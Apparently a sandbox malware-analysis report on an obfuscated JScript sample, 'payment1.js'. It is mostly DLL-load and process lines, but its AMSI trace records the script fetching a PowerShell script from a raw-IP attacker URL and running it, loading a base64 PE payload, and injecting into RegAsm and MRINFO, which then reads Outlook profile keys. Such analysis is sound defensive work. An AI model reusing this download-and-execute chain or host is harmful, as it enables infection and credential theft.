Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\MRINFO.EXE

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

JScript performs obfuscated calls to suspicious functions

Source:	Binary string: wntdll.pdbUGP source: RegAsm.exe, 00000005.00000002.2107158636.0000000002AF0000.00000040.00001000.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000002.2990258811.00000000038EE000.00000040.00001000.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000002.2990258811.0000000003750000.00000040.00001000.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000003.2107338460.000000000359C000.00000004.00000020.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000003.2104477664.00000000033E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegAsm.exe, RegAsm.exe, 00000005.00000002.2107158636.0000000002AF0000.00000040.00001000.00020000.00000000.sdmp, MRINFO.EXE, MRINFO.EXE, 0000000A.00000002.2990258811.00000000038EE000.00000040.00001000.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000002.2990258811.0000000003750000.00000040.00001000.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000003.2107338460.000000000359C000.00000004.00000020.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000003.2104477664.00000000033E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mrinfo.pdbGCTL source: RegAsm.exe, 00000005.00000002.2104818275.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000002.2988989976.000000000096E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mrinfo.pdb source: RegAsm.exe, 00000005.00000002.2104818275.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000002.2988989976.000000000096E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sxkv2RIDKUVCF4X010eCnC.exe, 00000009.00000000.2027775593.00000000003FF000.00000002.00000001.01000000.0000000A.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 0000000B.00000002.2987654360.00000000003FF000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\VICTOR\Documents\CryptoObfuscator_Output\CZDFS.pdb source: powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp, x.exe.1.dr
Source:	Binary string: C:\Users\VICTOR\Documents\CryptoObfuscator_Output\CZDFS.pdbBSJB source: powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp, x.exe.1.dr

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: CreateTextFile%2CPowerShell%20-NoProfile%20-ExecutionPolicy%20RemoteSigned%20-File%20%2CrM9SzgvYrxHPC3rZ%2CDownload%20failed%20with%20status%3A%20%2Cnte0mtu4nxrtrejRyG%2CjaK5Emo3iSkUAW%2CW4VdKZ5ZrG%2CWQ0");ITextStream.WriteLine(" entry:366 f:_0xe32f a0:292 a1:undefined");ITextStream.WriteLine(" exec:347 f:");ITextStream.WriteLine(" exit:366 f:_0xe32f r:%22MSXML2.XMLHTTP%22");ITextStream.WriteLine(" exit:307 f:_0x429836 r:%22MSXML2.XMLHTTP%22");IHost.Name();ITextStream.WriteLine(" entry:301 o:Windows%20Script%20Host f:CreateObject a0:%22MSXML2.XMLHTTP%22");IHost.CreateObject("MSXML2.XMLHTTP");IHost.Name();IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" exit:301 o:Windows%20Script%20Host f:CreateObject r:");ITextStream.WriteLine(" entry:319 f:_0x165511 a0:275");ITextStream.WriteLine(" exit:319 f:_0x165511 r:%22FolderExists%22");IFileSystem3._00000000();ITextStream.WriteLine(" entry:315 o: f:FolderExists a0:%22C%3A%5CTemp%22");IFileSystem3.FolderExists("C:\Temp");IFileSystem3._00000000();ITextStream.WriteLine(" exit:315 o: f:FolderExists r:false");ITextStream.WriteLine(" entry:329 f:_0x429836 a0:287");ITextStream.WriteLine(" exec:335 f:_0xe32f");ITextStream.WriteLine(" entry:340 f:_0x3d8f");ITextStream.WriteLine(" exit:340 f:_0x3d8f r:CreateTextFile%2CPowerShell%20-NoProfile%20-ExecutionPolicy%20RemoteSigned%20-File%20%2CrM9SzgvYrxHPC3rZ%2CDownload%20failed%20with%20status%3A%20%2Cnte0mtu4nxrtrejRyG%2CjaK5Emo3iSkUAW%2CW4VdKZ5ZrG%2CWQ0");ITextStream.WriteLine(" entry:366 f:_0xe32f a0:287 a1:undefined");ITextStream.WriteLine(" exec:347 f:");ITextStream.WriteLine(" exit:366 f:_0xe32f r:%22CreateFolder%22");ITextStream.WriteLine(" exit:329 f:_0x429836 r:%22CreateFolder%22");IFileSystem3._00000000();ITextStream.WriteLine(" entry:325 o: f:CreateFolder a0:%22C%3A%5CTemp%22");IFileSystem3.CreateFolder("C:\Temp");IFileSystem3._00000000();IFolder.Path();ITextStream.WriteLine(" exit:325 o: f:CreateFolder r:C%3A%5CTemp");ITextStream.WriteLine(" entry:1289 f:DownloadScript a0:%22http%3A%2F%2F196.251.92.64%2Fcrypt%2Fpopo.ps1%22 a1:%22C%3A%5CTemp%5Cdddddd.ps1%22");ITextStream.WriteLine(" exec:371 f:DownloadScript");ITextStream.WriteLine(" entry:389 f:_0x5e2485 a0:308 a1:%22h*bh%22");ITextStream.WriteLine(" exit:389 f:_0x5e2485 r:%22Open%22");ITextStream.WriteLine(" entry:395 f:_0x5b10a7 a0:282");ITextStream.WriteLine(" exec:335 f:_0xe32f");ITextStream.WriteLine(" entry:340 f:_0x3d8f");ITextStream.WriteLine(" exit:340 f:_0x3d8f r:CreateTextFile%2CPowerShell%20-NoProfile%20-ExecutionPolicy%20RemoteSigned%20-File%20%2CrM9SzgvYrxHPC3rZ%2CDownload%20failed%20with%20status%3A%20%2Cnte0mtu4nxrtrejRyG%2CjaK5Emo3iSkUAW%2CW4VdKZ5ZrG%2CWQ0");ITextStream.WriteLine(" entry:366 f:_0xe32f a0:282 a1:undefined");ITextStream.WriteLine(" exec:347 f:");ITextStream.WriteLine(" exit:366 f:_0xe32f r:%22GET%22");ITextStream.WriteLine(" exit:395 f:_0x5b10a7 r:%22GET%22");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" entry:385 o: f:Open a0:%22GET%22 a1:%22http%3A%2F

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAK

Potential obfuscated javascript found

Source: payment1.js

Initial file: High amount of function use 8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8B0942 push E95B70D0h; ret	1_2_00007FFD9B8B09C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004150CE push ebx; retf	5_2_004150D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004150B0 push edx; ret	5_2_004150B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041897B push ecx; iretd	5_2_0041897C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00412993 push ecx; iretd	5_2_0041299A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00405AB5 push ecx; retf	5_2_00405ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004033F0 push eax; ret	5_2_004033F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00416BA0 push eax; retf	5_2_00416BA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004194D8 push esp; iretd	5_2_004194DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040D492 push eax; retf	5_2_0040D493
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041862C push C22D13DCh; retf	5_2_00418634
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040D6CC push es; retf	5_2_0040D6D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00414E9F push ebx; retf	5_2_00414EA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00417763 push ss; iretd	5_2_00417743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00417723 push ss; iretd	5_2_00417743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B209AD push ecx; mov dword ptr [esp], ecx	5_2_02B209B6
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_03272B73 push ecx; iretd	9_2_03272B7A
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_03278B5B push ecx; iretd	9_2_03278B5C
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_032752AE push ebx; retf	9_2_032752B1
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_03275290 push edx; ret	9_2_03275291
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_0327793E push ss; iretd	9_2_03277923
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_03277903 push ss; iretd	9_2_03277923
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_0327611C push FFFFFFC3h; iretd	9_2_0327611E
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_0327880C push C22D13DCh; retf	9_2_03278814
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_0327507F push ebx; retf	9_2_03275081
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_0326D8AC push es; retf	9_2_0326D8B1
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_032760C1 push edi; iretd	9_2_032760C2
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_03275FB9 push eax; iretd	9_2_03275FBA
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_0326D672 push eax; retf	9_2_0326D673
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_032796B8 push esp; iretd	9_2_032796BD
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_03276D80 push eax; retf	9_2_03276D81

Source: x.exe.1.dr

Static PE information: section name: .text entropy: 7.946498461797713

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\x.exe

Jump to dropped file

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
